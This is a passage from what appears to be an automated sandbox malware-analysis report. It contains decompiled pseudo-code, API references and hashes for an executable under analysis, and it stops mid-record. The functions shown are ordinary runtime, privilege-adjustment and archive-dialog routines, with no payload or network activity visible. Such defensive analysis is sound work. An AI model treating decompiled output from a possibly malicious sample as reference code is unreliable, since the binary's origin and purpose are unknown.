				void* _t10;
				void* _t11;
				void* _t13;
				void* _t16;
				long _t17;

				_t11 = __ecx;
				_t17 = GetLastError();
				_t10 = 0;
				_t2 =  *0x27d6ac; // 0x6
				_t20 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t16 = E00268429(_t11, 1, 0x364);
					_pop(_t13);
					if(_t16 != 0) {
						_t4 = E0026A4F1(_t13, _t17, __eflags,  *0x27d6ac, _t16);
						__eflags = _t4;
						if(_t4 != 0) {
							E00268C96(_t13, _t16, 0x2a0288);
							E0026835E(_t10);
							__eflags = _t16;
							if(_t16 != 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t16);
							goto L4;
						}
					} else {
						_push(_t10);
						L4:
						E0026835E();
						L8:
						SetLastError(_t17);
					}
				} else {
					_t16 = E0026A49B(_t11, _t17, _t20, _t2);
					if(_t16 != 0) {
						L9:
						SetLastError(_t17);
						_t10 = _t16;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x00268ea9
0x00268eb4
0x00268eb6
0x00268eb8
0x00268ebd
0x00268ec0
0x00268ece
0x00268eda
0x00268edd
0x00268ee0
0x00268ef2
0x00268ef7
0x00268ef9
0x00268f04
0x00268f0a
0x00268f12
0x00268f14
0x00000000
0x00000000
0x00000000
0x00000000
0x00268efb
0x00268efb
0x00000000
0x00268efb
0x00268ee2
0x00268ee2
0x00268ee3
0x00268ee3
0x00268f16
0x00268f17
0x00268f17
0x00268ec2
0x00268ec8
0x00268ecc
0x00268f1f
0x00268f20
0x00268f26
0x00000000
0x00000000
0x00000000
0x00268ecc
0x00268f2d

APIs

GetLastError.KERNEL32(?,?,?,002687DF,0026847B,?,00268E53,00000001,00000364,?,002636CF,?,?,0027FF50), ref: 00268EAE
_free.LIBCMT ref: 00268EE3
_free.LIBCMT ref: 00268F0A
SetLastError.KERNEL32(00000000,?,0027FF50), ref: 00268F17
SetLastError.KERNEL32(00000000,?,0027FF50), ref: 00268F20

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: dbc4d9e636656907e09fd422a0bf273c5b569556ac1a065ab80896aa3a995c16
Instruction ID: 06e5c8a43d1e0e4f5ebfaa9ec8ba680575bc214efafb8834f599d0181e1db4a7
Opcode Fuzzy Hash: dbc4d9e636656907e09fd422a0bf273c5b569556ac1a065ab80896aa3a995c16
Instruction Fuzzy Hash: 10012876175B026BD3226B347C8DE2B226EEFD17717210324F609A2392EFA18CF58571

Uniqueness

Uniqueness Score: -1.00%

Function 002506B9 Relevance: 7.5, APIs: 5, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E002506B9(void* __ecx) {
				intOrPtr _v16;
				void* __ebp;
				int _t16;
				void** _t21;
				long* _t25;
				void* _t28;
				void* _t30;
				intOrPtr _t31;

				_t22 = __ecx;
				_push(0xffffffff);
				_push(E00271E4C);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t31;
				_t28 = __ecx;
				E002509A1(__ecx);
				_t25 = 0;
				 *((char*)(__ecx + 0x314)) = 1;
				ReleaseSemaphore( *(__ecx + 0x318), 0x40, 0);
				if( *((intOrPtr*)(_t28 + 0x104)) > 0) {
					_t21 = _t28 + 4;
					do {
						E002507AC(_t22, _t30,  *_t21);
						CloseHandle( *_t21);
						_t25 = _t25 + 1;
						_t21 =  &(_t21[1]);
					} while (_t25 <  *((intOrPtr*)(_t28 + 0x104)));
				}
				DeleteCriticalSection(_t28 + 0x320);
				CloseHandle( *(_t28 + 0x318));
				_t16 = CloseHandle( *(_t28 + 0x31c));
				 *[fs:0x0] = _v16;
				return _t16;
			}

0x002506b9
0x002506c2
0x002506c4
0x002506c9
0x002506ca
0x002506d4
0x002506d6
0x002506db
0x002506dd
0x002506ed
0x002506f9
0x002506fb
0x002506fe
0x00250700
0x00250707
0x0025070d
0x0025070e
0x00250711
0x002506fe
0x00250720
0x0025072c
0x00250738
0x00250743
0x0025074e

APIs

Part of subcall function 002509A1: ResetEvent.KERNEL32(?), ref: 002509B3
Part of subcall function 002509A1: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 002509C7

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 002506ED
CloseHandle.KERNEL32(?,?), ref: 00250707
DeleteCriticalSection.KERNEL32(?), ref: 00250720
CloseHandle.KERNEL32(?), ref: 0025072C
CloseHandle.KERNEL32(?), ref: 00250738

Part of subcall function 002507AC: WaitForSingleObject.KERNEL32(?,000000FF,002508CB,?,?,0025094F,?,?,?,?,?,00250939), ref: 002507B2
Part of subcall function 002507AC: GetLastError.KERNEL32(?,?,0025094F,?,?,?,?,?,00250939), ref: 002507BE

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 3437b14fddaae59a6493246b0d531eca59f4e20d8fc67131e56df9fa7bb31c1b
Instruction ID: 4fb2e12b3db337e46e1139bf792d2ea121d6f5ce1da4b30eceea4f28847b2416
Opcode Fuzzy Hash: 3437b14fddaae59a6493246b0d531eca59f4e20d8fc67131e56df9fa7bb31c1b
Instruction Fuzzy Hash: 7801B572450704EFC7229F29EC88FC6BBEDFB48711F000529F56E42161CB756998CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0026BDDF Relevance: 7.5, APIs: 5, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0026BDDF(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x27dd50; // 0x27dd44
					if(_t23 != 0) {
						E0026835E(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x27dd54; // 0x2a06fc
					if(_t24 != 0) {
						E0026835E(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x27dd58; // 0x2a06fc
					if(_t25 != 0) {
						E0026835E(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x27dd80; // 0x27dd48
					if(_t26 != 0) {
						E0026835E(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x27dd84; // 0x2a0700
					if(_t27 != 0) {
						return E0026835E(_t6);
					}
				}
				return _t6;
			}

0x0026bde5
0x0026bdea
0x0026bdee
0x0026bdf4
0x0026bdf7
0x0026bdfc
0x0026be00
0x0026be06
0x0026be09
0x0026be0e
0x0026be12
0x0026be18
0x0026be1b
0x0026be20
0x0026be24
0x0026be2a
0x0026be2d
0x0026be32
0x0026be33
0x0026be36
0x0026be3c
0x00000000
0x0026be44
0x0026be3c
0x0026be47

APIs

_free.LIBCMT ref: 0026BDF7

Part of subcall function 0026835E: RtlFreeHeap.NTDLL(00000000,00000000,?,0026BE76,?,00000000,?,00000000,?,0026BE9D,?,00000007,?,?,0026C29A,?), ref: 00268374
Part of subcall function 0026835E: GetLastError.KERNEL32(?,?,0026BE76,?,00000000,?,00000000,?,0026BE9D,?,00000007,?,?,0026C29A,?,?), ref: 00268386

_free.LIBCMT ref: 0026BE09
_free.LIBCMT ref: 0026BE1B
_free.LIBCMT ref: 0026BE2D
_free.LIBCMT ref: 0026BE3F

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 943cdb78f641f7772b832bd9261d21d1fd3eb93d89847dfe0705799757c32b8c
Instruction ID: fe5e20464486f899563e6aa3ded426fdf4b5cd20ba3808c5985fdf9c64acd8fd
Opcode Fuzzy Hash: 943cdb78f641f7772b832bd9261d21d1fd3eb93d89847dfe0705799757c32b8c
Instruction Fuzzy Hash: FEF0F933524211ABC632EF58F98AD5A73E9BE04B207A80C45F10DD7610CB36FCE08AA5

Uniqueness

Uniqueness Score: -1.00%

Function 00267E80 Relevance: 7.5, APIs: 5, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00267E80(signed int __ecx) {
				intOrPtr _t7;

				asm("lock xadd [eax], ecx");
				if((__ecx | 0xffffffff) == 0) {
					_t7 =  *0x27dd40; // 0x31f2428
					if(_t7 != 0x27db20) {
						E0026835E(_t7);
						 *0x27dd40 = 0x27db20;
					}
				}
				E0026835E( *0x2a0280);
				 *0x2a0280 = 0;
				E0026835E( *0x2a0284);
				 *0x2a0284 = 0;
				E0026835E( *0x2a06d0);
				 *0x2a06d0 = 0;
				E0026835E( *0x2a06d4);
				 *0x2a06d4 = 0;
				return 1;
			}

0x00267e89
0x00267e8d
0x00267e8f
0x00267e9b
0x00267e9e
0x00267ea4
0x00267ea4
0x00267e9b
0x00267eb0
0x00267ebd
0x00267ec3
0x00267ece
0x00267ed4
0x00267edf
0x00267ee5
0x00267eed
0x00267ef6

APIs

_free.LIBCMT ref: 00267E9E

Part of subcall function 0026835E: RtlFreeHeap.NTDLL(00000000,00000000,?,0026BE76,?,00000000,?,00000000,?,0026BE9D,?,00000007,?,?,0026C29A,?), ref: 00268374
Part of subcall function 0026835E: GetLastError.KERNEL32(?,?,0026BE76,?,00000000,?,00000000,?,0026BE9D,?,00000007,?,?,0026C29A,?,?), ref: 00268386

_free.LIBCMT ref: 00267EB0
_free.LIBCMT ref: 00267EC3
_free.LIBCMT ref: 00267ED4
_free.LIBCMT ref: 00267EE5

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 985a6971a10eb57a1853469a7fac5246a6e2bae730d866d935122e59e6b0c32d
Instruction ID: e87eb602e274e5c3456eb52b48fd01c2c220583d5906ab56d0ee2331a8b6ee77
Opcode Fuzzy Hash: 985a6971a10eb57a1853469a7fac5246a6e2bae730d866d935122e59e6b0c32d
Instruction Fuzzy Hash: DBF058768207208BC7516F24FD8D6193BA5FB56F24B090686F808A6370CF3618B69F86

Uniqueness

Uniqueness Score: -1.00%

Function 002674E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E002674E3(void* __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t36;
				struct HINSTANCE__* _t37;
				struct HINSTANCE__* _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				void* _t52;
				struct HINSTANCE__* _t55;
				intOrPtr* _t59;
				struct HINSTANCE__* _t64;
				intOrPtr _t65;

				_t52 = __ecx;
				if(_a4 == 2 || _a4 == 1) {
					E0026B110(_t52);
					GetModuleFileNameA(0, 0x2a0128, 0x104);
					_t49 =  *0x2a06d8; // 0x31e23c0
					 *0x2a06e0 = 0x2a0128;
					if(_t49 == 0 ||  *_t49 == 0) {
						_t49 = 0x2a0128;
					}
					_v8 = 0;
					_v16 = 0;
					E00267607(_t52, _t49, 0, 0,  &_v8,  &_v16);
					_t64 = E0026777C(_v8, _v16, 1);
					if(_t64 != 0) {
						E00267607(_t52, _t49, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
						if(_a4 != 1) {
							_v12 = 0;
							_push( &_v12);
							_t50 = E0026AC23(_t49, 0, _t64, _t64);
							if(_t50 == 0) {
								_t59 = _v12;
								_t55 = 0;
								_t36 = _t59;
								if( *_t59 == 0) {
									L15:
									_t37 = 0;
									 *0x2a06cc = _t55;
									_v12 = 0;
									_t50 = 0;
									 *0x2a06d0 = _t59;
									L16:
									E0026835E(_t37);
									_v12 = 0;
									goto L17;
								} else {
									goto L14;
								}
								do {
									L14:
									_t36 = _t36 + 4;
									_t55 =  &(_t55->i);
								} while ( *_t36 != 0);
								goto L15;
							}
							_t37 = _v12;
							goto L16;
						}
						 *0x2a06cc = _v8 - 1;
						_t43 = _t64;
						_t64 = 0;
						 *0x2a06d0 = _t43;
						goto L10;
					} else {
						_t44 = E002687DA();
						_push(0xc);
						_pop(0);
						 *_t44 = 0;
						L10:
						_t50 = 0;
						L17:
						E0026835E(_t64);
						return _t50;
					}
				} else {
					_t45 = E002687DA();
					_t65 = 0x16;
					 *_t45 = _t65;
					E002686B9();
					return _t65;
				}
			}

0x002674e3
0x002674f0
0x00267510
0x00267523
0x00267529
0x0026752f
0x00267537
0x0026753e
0x0026753e
0x00267543
0x0026754a
0x00267551
0x00267563
0x0026756a
0x00267589
0x00267595
0x002675b0
0x002675b3
0x002675ba
0x002675c0
0x002675c7
0x002675ca
0x002675cc
0x002675d0
0x002675da
0x002675da
0x002675dc
0x002675e2
0x002675e5
0x002675e7
0x002675ed
0x002675ee
0x002675f4
0x00000000
0x00000000
0x00000000
0x00000000
0x002675d2
0x002675d2
0x002675d2
0x002675d5
0x002675d6
0x00000000
0x002675d2
0x002675c2
0x00000000
0x002675c2
0x0026759b
0x002675a0
0x002675a2
0x002675a4
0x00000000
0x0026756c
0x0026756c
0x00267571
0x00267573
0x00267574
0x002675a9
0x002675a9
0x002675f7
0x002675f8
0x00000000
0x00267601
0x002674f8
0x002674f8
0x002674ff
0x00267500
0x00267502
0x00000000
0x00267507

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\WsiysHggF9.exe,00000104), ref: 00267523
_free.LIBCMT ref: 002675EE
_free.LIBCMT ref: 002675F8

Strings

C:\Users\user\Desktop\WsiysHggF9.exe, xrefs: 0026751A, 00267521, 00267550, 00267588

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\WsiysHggF9.exe
API String ID: 2506810119-2472371477
Opcode ID: a2e8171f2995e6d3b4759bd7658abc61f099311b963361af75f069bfcd1c5fb7
Instruction ID: ece37b6991f01540f96c90d5c2a423f791bf0f945a19d1cc93944f4faabdff08
Opcode Fuzzy Hash: a2e8171f2995e6d3b4759bd7658abc61f099311b963361af75f069bfcd1c5fb7
Instruction Fuzzy Hash: B431B771914205EFDB11DF59EC8599EBBFCEB85714F6041A6F80597211DB708EA0CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0024754D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E0024754D(void* __ebx, void* __edx, void* __esi) {
				void* _t26;
				long _t32;
				void* _t39;
				void* _t42;
				intOrPtr _t43;
				void* _t52;
				void* _t57;
				void* _t58;
				void* _t61;

				_t57 = __esi;
				_t52 = __edx;
				_t42 = __ebx;
				E0025E0E4(E00271D77, _t61);
				E0025E1C0();
				 *((intOrPtr*)(_t61 - 0x20)) = 0;
				 *((intOrPtr*)(_t61 - 0x1c)) = 0;
				 *((intOrPtr*)(_t61 - 0x18)) = 0;
				 *((intOrPtr*)(_t61 - 0x14)) = 0;
				 *((char*)(_t61 - 0x10)) = 0;
				_t54 =  *((intOrPtr*)(_t61 + 8));
				_push(0);
				_push(0);
				 *((intOrPtr*)(_t61 - 4)) = 0;
				_push(_t61 - 0x20);
				if(E00243B26( *((intOrPtr*)(_t61 + 8)), _t52) != 0) {
					if( *0x27feb2 == 0) {
						if(E00247BCE(L"SeSecurityPrivilege") != 0) {
							 *0x27feb1 = 1;
						}
						E00247BCE(L"SeRestorePrivilege");
						 *0x27feb2 = 1;
					}
					_push(_t57);
					_t58 = 7;
					if( *0x27feb1 != 0) {
						_t58 = 0xf;
					}
					_push(_t42);
					_t43 =  *((intOrPtr*)(_t61 - 0x20));
					_push(_t43);
					_push(_t58);
					_push( *((intOrPtr*)(_t61 + 0xc)));
					if( *0x2a1000() == 0) {
						if(E0024B5AC( *((intOrPtr*)(_t61 + 0xc)), _t61 - 0x106c, 0x800) == 0) {
							L10:
							E00247032(_t70, 0x52, _t54 + 0x1e,  *((intOrPtr*)(_t61 + 0xc)));
							_t32 = GetLastError();
							E00262DC0(_t32);
							if(_t32 == 5 && E0024FF7D() == 0) {
								E0024159C(_t61 - 0x6c, 0x18);
								E00250D97(_t61 - 0x6c);
							}
							E00246F5B(0x27ff50, 1);
						} else {
							_t39 =  *0x2a1000(_t61 - 0x106c, _t58, _t43);
							_t70 = _t39;
							if(_t39 == 0) {
								goto L10;
							}
						}
					}
				}
				_t26 = E002415D1(_t61 - 0x20);
				 *[fs:0x0] =  *((intOrPtr*)(_t61 - 0xc));
				return _t26;
			}

0x0024754d
0x0024754d
0x0024754d
0x00247552
0x0024755c
0x00247564
0x00247567
0x0024756a
0x0024756d
0x00247570
0x00247573
0x00247578
0x00247579
0x0024757a
0x00247580
0x00247588
0x00247595
0x002475a3
0x002475a5
0x002475a5
0x002475b1
0x002475b6
0x002475b6
0x002475c4
0x002475c7
0x002475c8
0x002475cc
0x002475cc
0x002475cd
0x002475ce
0x002475d1
0x002475d2
0x002475d3
0x002475de
0x002475f6
0x0024760b
0x00247614
0x00247619
0x00247628
0x00247630
0x00247640
0x00247648
0x00247648
0x00247651
0x002475f8
0x00247601
0x00247607
0x00247609
0x00000000
0x00000000
0x00247609
0x002475f6
0x00247657
0x0024765b
0x00247664
0x0024766e

APIs

__EH_prolog.LIBCMT ref: 00247552

Part of subcall function 00243B26: __EH_prolog.LIBCMT ref: 00243B2B

GetLastError.KERNEL32(00000052,?,?,?,?,00000800,?,?,?,00000000,00000000), ref: 00247619

Part of subcall function 00247BCE: GetCurrentProcess.KERNEL32(00000020,?), ref: 00247BDD
Part of subcall function 00247BCE: GetLastError.KERNEL32 ref: 00247C23
Part of subcall function 00247BCE: CloseHandle.KERNEL32(?), ref: 00247C32

Strings

SeRestorePrivilege, xrefs: 002475AC
SeSecurityPrivilege, xrefs: 00247597

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 11c4871652a156fefffe671e6374255268c37a8d6d1c5a18bad33dc7bb46e33c
Instruction ID: cea4a5aa53f6b39405eaeba7f3731eca07446cb47b563642fe0046ae56812a64
Opcode Fuzzy Hash: 11c4871652a156fefffe671e6374255268c37a8d6d1c5a18bad33dc7bb46e33c
Instruction Fuzzy Hash: 0231E131928249AADF24EF64AC05FEE7BB9EF05350F004025F858A7192CB7049A8CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0025A163 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0025A16C
GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,?,?,00259EF8,?,?,?), ref: 0025A19B
ReleaseDC.USER32(00000000,?), ref: 0025A233

Strings

v, xrefs: 0025A233

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ObjectRelease
String ID: v
API String ID: 1429681911-1801730948
Opcode ID: d0d1fa231b4f98399a221b9c37144a2d1a584986d54e4a5b729dc8a5cfe2357e
Instruction ID: 979b0aa3ed40a3eb34f08e6b51e88a42f748dd010ad305036070452625883367
Opcode Fuzzy Hash: d0d1fa231b4f98399a221b9c37144a2d1a584986d54e4a5b729dc8a5cfe2357e
Instruction Fuzzy Hash: E321FC72108354AFD3015F91ED4CDAFBFE9FB8A361F004819FE45D2121DB7599A48B62

Uniqueness

Uniqueness Score: -1.00%

Function 0025A3B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0025A3B0(void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR** _a16) {
				void* _t12;
				void* _t16;
				void* _t19;
				void* _t22;
				WCHAR** _t24;
				void* _t25;
				intOrPtr _t27;
				void* _t28;
				struct HWND__* _t30;
				signed short _t31;

				_t24 = _a16;
				_t31 = _a12;
				_t30 = _a4;
				_t27 = _a8;
				if(E0024130B(__edx, _t30, _t27, _t31, _t24, L"ASKNEXTVOL", 0, 0) != 0) {
					L14:
					__eflags = 1;
					return 1;
				}
				_t28 = _t27 - 0x110;
				if(_t28 == 0) {
					_push( *_t24);
					 *0x29fca8 = _t24;
					L13:
					SetDlgItemTextW(_t30, 0x66, ??);
					goto L14;
				}
				if(_t28 != 1) {
					L6:
					return 0;
				}
				_t12 = (_t31 & 0x0000ffff) - 1;
				if(_t12 == 0) {
					GetDlgItemTextW(_t30, 0x66,  *( *0x29fca8), ( *0x29fca8)[1]);
					_push(1);
					L10:
					EndDialog(_t30, ??);
					goto L14;
				}
				_t16 = _t12 - 1;
				if(_t16 == 0) {
					_push(0);
					goto L10;
				}
				if(_t16 == 0x65) {
					_t19 = E0024BBC5(__eflags,  *( *0x29fca8));
					_t22 = E002410F0(_t30, E0024DD11(_t25, 0x8e),  *( *0x29fca8), _t19, 0);
					__eflags = _t22;
					if(_t22 == 0) {
						goto L14;
					}
					_push( *( *0x29fca8));
					goto L13;
				}
				goto L6;
			}

0x0025a3b1
0x0025a3b6
0x0025a3bb
0x0025a3c0
0x0025a3d8
0x0025a468
0x0025a46a
0x00000000
0x0025a46a
0x0025a3de
0x0025a3e4
0x0025a457
0x0025a459
0x0025a45f
0x0025a462
0x00000000
0x0025a462
0x0025a3e9
0x0025a3fd
0x00000000
0x0025a3fd
0x0025a3ee
0x0025a3f1
0x0025a44d
0x0025a453
0x0025a437
0x0025a438
0x00000000
0x0025a438
0x0025a3f3
0x0025a3f6
0x0025a435
0x00000000
0x0025a435
0x0025a3fb
0x0025a40a
0x0025a423
0x0025a428
0x0025a42a
0x00000000
0x00000000
0x0025a431
0x00000000
0x0025a431
0x00000000

APIs

Part of subcall function 0024130B: GetDlgItem.USER32(00000000,00003021), ref: 0024134F
Part of subcall function 0024130B: SetWindowTextW.USER32(00000000,002725B4), ref: 00241365

EndDialog.USER32(?,00000001), ref: 0025A438
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 0025A44D
SetDlgItemTextW.USER32(?,00000066,?), ref: 0025A462

Strings

ASKNEXTVOL, xrefs: 0025A3C8

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 4c8e3fe3fab46c58fee83456c824b1aa031c17230fc322506e2b5492ba22a396
Instruction ID: 60d7706881fe2a886c508362d0c788ebc0334e5080288f0ab54acb9364f2035d
Opcode Fuzzy Hash: 4c8e3fe3fab46c58fee83456c824b1aa031c17230fc322506e2b5492ba22a396
